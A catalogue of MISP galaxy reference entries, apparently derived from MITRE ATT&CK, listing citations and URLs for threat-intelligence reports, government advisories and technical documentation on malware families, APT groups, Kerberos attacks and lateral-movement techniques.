The tag is: *misp-galaxy:references="US District Court of DC Phosphorus Complaint 2019"*

Table 21411. Table References

Links
https://noticeofpleadings.com/phosphorus/files/Complaint.pdf

NCSC Joint Report Public Tools

The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.

The tag is: *misp-galaxy:references="NCSC Joint Report Public Tools"*

Table 21412. Table References

Links
https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools

USG Joint Statement SolarWinds January 2021

FBI, CISA, ODNI, NSA. (2022, January 5). Joint Statement by the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Office of the Director of National Intelligence (ODNI), and the National Security Agency (NSA). Retrieved March 26, 2023.

The tag is: *misp-galaxy:references="USG Joint Statement SolarWinds January 2021"*

Table 21413. Table References

Links
https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure

Jsc.exe - LOLBAS Project

LOLBAS. (2019, May 31). Jsc.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Jsc.exe - LOLBAS Project"*

Table 21414. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Jsc/

Unit42 Jumpy Pisces October 30 2024

Unit 42. (2024, October 30). Jumpy Pisces Engages in Play Ransomware. Retrieved March 22, 2025.

The tag is: *misp-galaxy:references="Unit42 Jumpy Pisces October 30 2024"*

Table 21415. Table References

Links
https://unit42.paloaltonetworks.com/north-korean-threat-group-play-ransomware/

Juniper Netscreen of the Dead

Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="Juniper Netscreen of the Dead"*

Table 21416. Table References

Links
https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf

Microsoft PS JEA

Microsoft. (2022, November 17). Just Enough Administration. Retrieved March 27, 2023.

The tag is: *misp-galaxy:references="Microsoft PS JEA"*

Table 21417. Table References

Links
https://learn.microsoft.com/powershell/scripting/learn/remoting/jea/overview?view=powershell-7.3

U.S. DoJ PlugX Disruption January 14 2025

Office of Public Affairs. (2025, January 14). Justice Department and FBI Conduct International Operation to Delete Malware Used by China-Backed Hackers. Retrieved January 27, 2025.

The tag is: *misp-galaxy:references="U.S. DoJ PlugX Disruption January 14 2025"*

Table 21418. Table References

Links
https://www.justice.gov/opa/pr/justice-department-and-fbi-conduct-international-operation-delete-malware-used-china-backed

U.S. Justice Department GRU Botnet February 2024

Office of Public Affairs. (2024, February 15). Justice Department Conducts Court-Authorized Disruption of Botnet Controlled by the Russian Federation's Main Intelligence Directorate of the General Staff (GRU). Retrieved February 29, 2024.

The tag is: *misp-galaxy:references="U.S. Justice Department GRU Botnet February 2024"*

Table 21419. Table References

Links
https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian

Justice GRU 2024

Office of Public Affairs. (2024, February 15). Justice Department Conducts Court-Authorized Disruption of Botnet Controlled by the Russian Federation's Main Intelligence Directorate of the General Staff (GRU). Retrieved March 28, 2024.

The tag is: *misp-galaxy:references="Justice GRU 2024"*

Table 21420. Table References

Links
https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian

U.S. DOJ Lumma Stealer Domain Seizures May 21 2025

Office of Public Affairs. (2025, May 21). Justice Department Seizes Domains Behind Major Information-Stealing Malware Operation. Retrieved May 22, 2025.

The tag is: *misp-galaxy:references="U.S. DOJ Lumma Stealer Domain Seizures May 21 2025"*

Table 21421. Table References

Links
https://www.justice.gov/opa/pr/justice-department-seizes-domains-behind-major-information-stealing-malware-operation

Azure Active Directory Reconnaisance

Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.

The tag is: *misp-galaxy:references="Azure Active Directory Reconnaisance"*

Table 21422. Table References

Links
https://o365blog.com/post/just-looking/

Azure AD Recon

Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved February 1, 2022.

The tag is: *misp-galaxy:references="Azure AD Recon"*

Table 21423. Table References

Links
https://o365blog.com/post/just-looking

intezer-kaiji-malware

Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.

The tag is: *misp-galaxy:references="intezer-kaiji-malware"*

Table 21424. Table References

Links
https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/

Kali Redsnarf

NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.

The tag is: *misp-galaxy:references="Kali Redsnarf"*

Table 21425. Table References

Links
https://github.com/nccgroup/redsnarf

TrustedSignal Service Failure

Hull, D. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.

The tag is: *misp-galaxy:references="TrustedSignal Service Failure"*

Table 21426. Table References

Links
https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html

Kansa Service related collectors

Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.

The tag is: *misp-galaxy:references="Kansa Service related collectors"*

Table 21427. Table References

Links
https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html

WithSecure Kapeka 2024

Mohammad Kazem Hassan Nejad, WithSecure. (2024, April 17). KAPEKA A novel backdoor spotted in Eastern Europe. Retrieved January 6, 2025.

The tag is: *misp-galaxy:references="WithSecure Kapeka 2024"*

Table 21428. Table References

Links
https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Research-Kapeka.pdf

CISA Karakurt 2022

Cybersecurity Infrastructure and Defense Agency. (2022, June 2). Karakurt Data Extortion Group. Retrieved March 10, 2023.

The tag is: *misp-galaxy:references="CISA Karakurt 2022"*

Table 21429. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a

U.S. CISA Karakurt December 12 2023

Cybersecurity and Infrastructure Security Agency. (2023, December 12). Karakurt Data Extortion Group. Retrieved May 1, 2024.

The tag is: *misp-galaxy:references="U.S. CISA Karakurt December 12 2023"*

Table 21430. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a

Kaspersky October 24 2023

GReAT. (2023, October 24). Kaspersky crimeware report GoPIX, Lumar, and Rhysida.. Retrieved October 10, 2024.

The tag is: *misp-galaxy:references="Kaspersky October 24 2023"*

Table 21431. Table References

Links
https://securelist.com/crimeware-report-gopix-lumar-rhysida/110871/

Kaspersky Lab SynAck May 2018

Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelgänging technique. Retrieved May 24, 2018.

The tag is: *misp-galaxy:references="Kaspersky Lab SynAck May 2018"*

Table 21432. Table References

Links
https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging

Unit 42 Kazuar May 2017

Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.

The tag is: *misp-galaxy:references="Unit 42 Kazuar May 2017"*

Table 21433. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/

Citizen Lab Stealth Falcon May 2016

Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don't) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.

The tag is: *misp-galaxy:references="Citizen Lab Stealth Falcon May 2016"*

Table 21434. Table References

Links
https://citizenlab.org/2016/05/stealth-falcon/

Github KeeThief

Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.

The tag is: *misp-galaxy:references="Github KeeThief"*

Table 21435. Table References

Links
https://github.com/GhostPack/KeeThief

Kekeo

Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="Kekeo"*

Table 21436. Table References

Links
https://github.com/gentilkiwi/kekeo

Google Cloud Threat Intelligence COSCMICENERGY 2023

COSMICENERGY: New OT Malware Possibly Related To Russian Emergency Response Exercises. (2023, May 25). Ken Proska, Daniel Kapellmann Zafra, Keith Lunden, Corey Hildebrandt, Rushikesh Nandedkar, Nathan Brubaker. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="Google Cloud Threat Intelligence COSCMICENERGY 2023"*

Table 21437. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/cosmicenergy-ot-malware-russian-response/

Harmj0y Kerberoast Nov 2016

Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.

The tag is: *misp-galaxy:references="Harmj0y Kerberoast Nov 2016"*

Table 21438. Table References

Links
https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

ADSecurity Kerberos Ring Decoder

Sean Metcalf. (2014, September 12). Kerberos, Active Directory's Secret Decoder Ring. Retrieved February 27, 2020.

The tag is: *misp-galaxy:references="ADSecurity Kerberos Ring Decoder"*

Table 21439. Table References

Links
https://adsecurity.org/?p=227

macOS kerberos framework MIT

Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021.

The tag is: *misp-galaxy:references="macOS kerberos framework MIT"*

Table 21440. Table References

Links
http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html

Microsoft Kerberos Golden Ticket

Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.

The tag is: *misp-galaxy:references="Microsoft Kerberos Golden Ticket"*

Table 21441. Table References

Links
https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285

CERT-EU Golden Ticket Protection

Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.

The tag is: *misp-galaxy:references="CERT-EU Golden Ticket Protection"*

Table 21442. Table References

Links
https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf

AdSecurity Kerberos GT Aug 2015

Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.

The tag is: *misp-galaxy:references="AdSecurity Kerberos GT Aug 2015"*

Table 21443. Table References

Links
https://adsecurity.org/?p=1640

ADSecurity Kerberos and KRBTGT

Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory's Domain Kerberos Service Account. Retrieved January 30, 2020.

The tag is: *misp-galaxy:references="ADSecurity Kerberos and KRBTGT"*

Table 21444. Table References

Links
https://adsecurity.org/?p=483

Microsoft Kerberos Preauth 2014

Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.

The tag is: *misp-galaxy:references="Microsoft Kerberos Preauth 2014"*

Table 21445. Table References

Links

https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx

Linux Kerberos Tickets

Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="Linux Kerberos Tickets"*

Table 21446. Table References

Links
https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html

Kernel Self Protection Project

Kernel.org. (2020, February 6). Kernel Self-Protection. Retrieved June 4, 2020.

The tag is: *misp-galaxy:references="Kernel Self Protection Project"*

Table 21447. Table References

Links
https://www.kernel.org/doc/html/latest/security/self-protection.html

Rapid7 KeyBoy Jun 2013

Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.

The tag is: *misp-galaxy:references="Rapid7 KeyBoy Jun 2013"*

Table 21448. Table References

Links
https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/

Keychain Items Apple Dev API

Apple. (n.d.). Keychain Items. Retrieved April 12, 2022.

The tag is: *misp-galaxy:references="Keychain Items Apple Dev API"*

Table 21449. Table References

Links
https://developer.apple.com/documentation/security/keychain_services/keychain_items

Keychain Services Apple

Apple. (n.d.). Keychain Services. Retrieved April 11, 2022.

The tag is: *misp-galaxy:references="Keychain Services Apple"*

Table 21450. Table References

Links
https://developer.apple.com/documentation/security/keychain_services

Wikipedia keychain

Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017.

The tag is: *misp-galaxy:references="Wikipedia keychain"*

Table 21451. Table References

Links
https://en.wikipedia.org/wiki/Keychain_(software)

Keyctl-unmask

Mark Manning. (2020, July 23). Keyctl-unmask: "Going Florida" on The State Of Containerizing Linux Keyrings. Retrieved July 6, 2022.

The tag is: *misp-galaxy:references="Keyctl-unmask"*

Table 21452. Table References

Links
https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

Google Cloud Encryption Key Rotation

Google. (n.d.). Key rotation. Retrieved October 18, 2019.

The tag is: *misp-galaxy:references="Google Cloud Encryption Key Rotation"*

Table 21453. Table References

Links
https://cloud.google.com/kms/docs/key-rotation

KillDisk Ransomware

Catalin Cimpanu. (2016, December 29). KillDisk Disk-Wiping Malware Adds Ransomware Component. Retrieved January 12, 2021.

The tag is: *misp-galaxy:references="KillDisk Ransomware"*

Table 21454. Table References

Links
https://www.bleepingcomputer.com/news/security/killdisk-disk-wiping-malware-adds-ransomware-component/

Trend Micro KillDisk 1

Fernando Merces, Byron Gelera, Martin Co. (2018, June 7). KillDisk Variant Hits Latin American Finance Industry. Retrieved January 12, 2021.

The tag is: *misp-galaxy:references="Trend Micro KillDisk 1"*

Table 21455. Table References

Links
https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html

Trend Micro KillDisk 2

Gilbert Sison, Rheniel Ramos, Jay Yaneza, Alfredo Oliveira. (2018, January 15). KillDisk Variant Hits Latin American Financial Groups. Retrieved January 12, 2021.

The tag is: *misp-galaxy:references="Trend Micro KillDisk 2"*

Table 21456. Table References

Links
https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html

Killing IOS diversity myth

Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="Killing IOS diversity myth"*

Table 21457. Table References

Links

https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf

Killing the myth of Cisco IOS rootkits

Sebastian 'topo' Muñiz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="Killing the myth of Cisco IOS rootkits"*

Table 21458. Table References

Links
https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf

Vedere Labs Killnet 2022

Vedere Labs. (2022, June 2). Killnet: Analysis of Attacks from a Prominent Pro-Russian Hacktivist Group. Retrieved October 9, 2023.

The tag is: *misp-galaxy:references="Vedere Labs Killnet 2022"*

Table 21459. Table References

Links
https://www.forescout.com/resources/analysis-of-killnet-report/

Flashpoint Glossary Killnet

Flashpoint. (n.d.). Killnet: Inside the World’s Most Prominent Pro-Kremlin Hacktivist Collective. Retrieved October 10, 2023.

The tag is: *misp-galaxy:references="Flashpoint Glossary Killnet"*

Table 21460. Table References

Links
https://flashpoint.io/intelligence-101/killnet/

Cyber Express KillSec June 26 2024

Ashish Khaitan. (2024, June 26). KillSec Unveils Feature-Rich RaaS Platform with Encryption, DDoS Tools, and Data Stealer. Retrieved November 24, 2024.

The tag is: *misp-galaxy:references="Cyber Express KillSec June 26 2024"*

Table 21461. Table References

Links

https://thecyberexpress.com/killsec-launches-raas-program/

Malwarebytes Kimsuky June 2021

Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.

The tag is: *misp-galaxy:references="Malwarebytes Kimsuky June 2021"*

Table 21462. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/

Kimsuky Malwarebytes

Hossein Jazi. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved January 10, 2024.

The tag is: *misp-galaxy:references="Kimsuky Malwarebytes"*

Table 21463. Table References

Links
https://www.malwarebytes.com/blog/threat-intelligence/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor

Zscaler Kimsuky TRANSLATEXT

Park, S. (2024, June 27). Kimsuky deploys TRANSLATEXT to target South Korean academia. Retrieved October 14, 2024.

The tag is: *misp-galaxy:references="Zscaler Kimsuky TRANSLATEXT"*

Table 21464. Table References

Links
https://www.zscaler.com/blogs/security-research/kimsuky-deploys-translatext-target-south-korean-academia#technical-analysis

S2W Troll Stealer 2024

Jiho Kim & Sebin Lee, S2W. (2024, February 7). Kimsuky disguised as a Korean company signed with a valid certificate to distribute Troll Stealer (English ver.). Retrieved January 17, 2025.

The tag is: *misp-galaxy:references="S2W Troll Stealer 2024"*

Table 21465. Table References

Links
https://medium.com/s2wblog/kimsuky-disguised-as-a-korean-company-signed-with-a-valid-certificate-to-distribute-troll-stealer-cfa5d54314e2

VirusBulletin Kimsuky October 2019

Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020.

The tag is: *misp-galaxy:references="VirusBulletin Kimsuky October 2019"*

Table 21466. Table References

Links
https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/

AhnLab Kimsuky Meterpreter May 15 2025

ASEC. (2025, May 15). Kimsuky Group Using Meterpreter to Attack Web Servers. Retrieved June 9, 2025.

The tag is: *misp-galaxy:references="AhnLab Kimsuky Meterpreter May 15 2025"*

Table 21467. Table References

Links
https://asec.ahnlab.com/en/53046/

EST Kimsuky April 2019

Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.

The tag is: *misp-galaxy:references="EST Kimsuky April 2019"*

Table 21468. Table References

Links
https://blog.alyac.co.kr/2234

ThreatConnect Kimsuky September 2020

ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.

The tag is: *misp-galaxy:references="ThreatConnect Kimsuky September 2020"*

Table 21469. Table References

Links
https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/

BRI Kimsuky April 2019

BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019.

The tag is: *misp-galaxy:references="BRI Kimsuky April 2019"*

Table 21470. Table References

Links
https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/

Mandiant Sabbath Ransomware November 29 2021

Tyler McLellan, Brandan Schondorfer. (2021, November 29). Kitten.gif: Meet the Sabbath Ransomware Affiliate Program, Again. Retrieved October 3, 2024.

The tag is: *misp-galaxy:references="Mandiant Sabbath Ransomware November 29 2021"*

Table 21471. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/sabbath-ransomware-affiliate/

Microsoft Klist

Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.

The tag is: *misp-galaxy:references="Microsoft Klist"*

Table 21472. Table References

Links
https://docs.microsoft.com/windows-server/administration/windows-commands/klist

FireEye Know Your Enemy FIN8 Aug 2016

Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.

The tag is: *misp-galaxy:references="FireEye Know Your Enemy FIN8 Aug 2016"*

Table 21473. Table References

Links
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html

Github Koadic

Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.

The tag is: *misp-galaxy:references="Github Koadic"*

Table 21474. Table References

Links
https://github.com/offsecginger/koadic

ESET Kobalos Feb 2021

M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos – A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021.

The tag is: *misp-galaxy:references="ESET Kobalos Feb 2021"*

Table 21475. Table References

Links
https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/

Talos Konni May 2017

Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.

The tag is: *misp-galaxy:references="Talos Konni May 2017"*

Table 21476. Table References

Links
https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html

Malwarebytes KONNI Evolves Jan 2022

Santos, R. (2022, January 26). KONNI evolves into stealthier RAT. Retrieved April 13, 2022.

The tag is: *misp-galaxy:references="Malwarebytes KONNI Evolves Jan 2022"*

Table 21477. Table References

Links
https://blog.malwarebytes.com/threat-intelligence/2022/01/konni-evolves-into-stealthier-rat/

Talos Group123

Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.

The tag is: *misp-galaxy:references="Talos Group123"*

Table 21478. Table References

Links
https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html

Kube Kubectl

kubernetes. (n.d.). kubectl. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Kube Kubectl"*

Table 21479. Table References

Links
https://kubernetes.io/docs/reference/kubectl/kubectl/

Kubernetes Kubelet

The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Kubernetes Kubelet"*

Table 21480. Table References

Links
https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/

Kubernetes CronJob

The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Kubernetes CronJob"*

Table 21481. Table References

Links
https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/

Kubernetes Hardening Guide

National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="Kubernetes Hardening Guide"*

Table 21482. Table References

Links
https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF

Kubernetes Jobs

The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.

The tag is: *misp-galaxy:references="Kubernetes Jobs"*

Table 21483. Table References

Links
https://kubernetes.io/docs/concepts/workloads/controllers/job/

AppSecco Kubernetes Namespace Breakout 2020

Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1. Retrieved January 16, 2024.

The tag is: *misp-galaxy:references="AppSecco Kubernetes Namespace Breakout 2020"*

Table 21484. Table References

Links
https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216

Kubernetes Dashboard

The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Kubernetes Dashboard"*

Table 21485. Table References

Links
https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/

Intezer App Service Phishing

Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.

The tag is: *misp-galaxy:references="Intezer App Service Phishing"*

Table 21486. Table References

Links
https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/

Alintanahin 2014

Alintanahin, K. (2014, March 13). Kunming Attack Leads to Gh0st RAT Variant. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Alintanahin 2014"*

Table 21487. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/kunming-attack-leads-to-gh0st-rat-variant/

Wits End and Shady PowerShell Profiles

DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.

The tag is: *misp-galaxy:references="Wits End and Shady PowerShell Profiles"*

Table 21488. Table References

Links
https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html

Sysdig Cryptojacking Proxyjacking 2023

Miguel Hernandez. (2023, August 17). LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign Targeting GitLab . Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="Sysdig Cryptojacking Proxyjacking 2023"*

Table 21489. Table References

Links

https://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/

Lacework AI Resource Hijacking 2024

Detecting AI resource-hijacking with Composite Alerts. (2024, June 6). Lacework Labs. Retrieved July 1, 2024.

The tag is: *misp-galaxy:references="Lacework AI Resource Hijacking 2024"*

Table 21490. Table References

Links
https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts

AWS Lambda Execution Role

AWS. (n.d.). Lambda execution role. Retrieved February 28, 2024.

The tag is: *misp-galaxy:references="AWS Lambda Execution Role"*

Table 21491. Table References

Links
https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html

NCC Group LAPSUS Apr 2022

Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.

The tag is: *misp-galaxy:references="NCC Group LAPSUS Apr 2022"*

Table 21492. Table References

Links
https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/

BBC LAPSUS Apr 2022

BBC. (2022, April 1). LAPSUS: Two UK Teenagers Charged with Hacking for Gang. Retrieved June 9, 2022.

The tag is: *misp-galaxy:references="BBC LAPSUS Apr 2022"*

Table 21493. Table References

Links
https://www.bbc.com/news/technology-60953527

PaloAlto StrelaStealer 2024

Benjamin Chang, Goutam Tripathy, Pranay Kumar Chhaparwal, Anmol Maurya & Vishwa Thothathri, Palo Alto Networks. (2024, March 22). Large-Scale StrelaStealer Campaign in Early 2024. Retrieved December 31, 2024.

The tag is: *misp-galaxy:references="PaloAlto StrelaStealer 2024"*

Table 21494. Table References

Links
https://unit42.paloaltonetworks.com/strelastealer-campaign/

LARVA-208 Profile

PRODAFT. (2025, February 27). LARVA-208 Profile. Retrieved February 28, 2025.

The tag is: *misp-galaxy:references="LARVA-208 Profile"*

Table 21495. Table References

Links
https://catalyst.prodaft.com/public/report/larva-208/overview

Enigma Excel DCOM Sept 2017

Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="Enigma Excel DCOM Sept 2017"*

Table 21496. Table References

Links
https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/

Enigma Outlook DCOM Lateral Movement Nov 2017

Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="Enigma Outlook DCOM Lateral Movement Nov 2017"*

Table 21497. Table References

Links
https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/

Enigma MMC20 COM Jan 2017

Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="Enigma MMC20 COM Jan 2017"*

Table 21498. Table References

Links
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

Enigma DCOM Lateral Movement Jan 2017

Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="Enigma DCOM Lateral Movement Jan 2017"*

Table 21499. Table References

Links
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

Jacobsen 2014

Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.

The tag is: *misp-galaxy:references="Jacobsen 2014"*

Table 21500. Table References

Links
https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2

Bitsight Latrodectus June 2024

Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.

The tag is: *misp-galaxy:references="Bitsight Latrodectus June 2024"*

Table 21501. Table References

Links
https://www.bitsight.com/blog/latrodectus-are-you-coming-back

Latrodectus APR 2024

Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.

The tag is: *misp-galaxy:references="Latrodectus APR 2024"*

Table 21502. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice

Launchctl Man

SS64. (n.d.). launchctl. Retrieved March 28, 2020.

The tag is: *misp-galaxy:references="Launchctl Man"*

Table 21503. Table References

Links
https://ss64.com/osx/launchctl.html

LaunchDaemon Hijacking

Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.

The tag is: *misp-galaxy:references="LaunchDaemon Hijacking"*

Table 21504. Table References

Links
https://bradleyjkemp.dev/post/launchdaemon-hijacking/

launchd Keywords for plists

Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021.

The tag is: *misp-galaxy:references="launchd Keywords for plists"*

Table 21505. Table References

Links
https://www.real-world-systems.com/docs/launchdPlist.1.html

Launch Services Apple Developer

Apple. (n.d.). Launch Services. Retrieved October 5, 2021.

The tag is: *misp-galaxy:references="Launch Services Apple Developer"*

Table 21506. Table References

Links
https://developer.apple.com/documentation/coreservices/launch_services

Launch Service Keys Developer Apple

Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.

The tag is: *misp-galaxy:references="Launch Service Keys Developer Apple"*

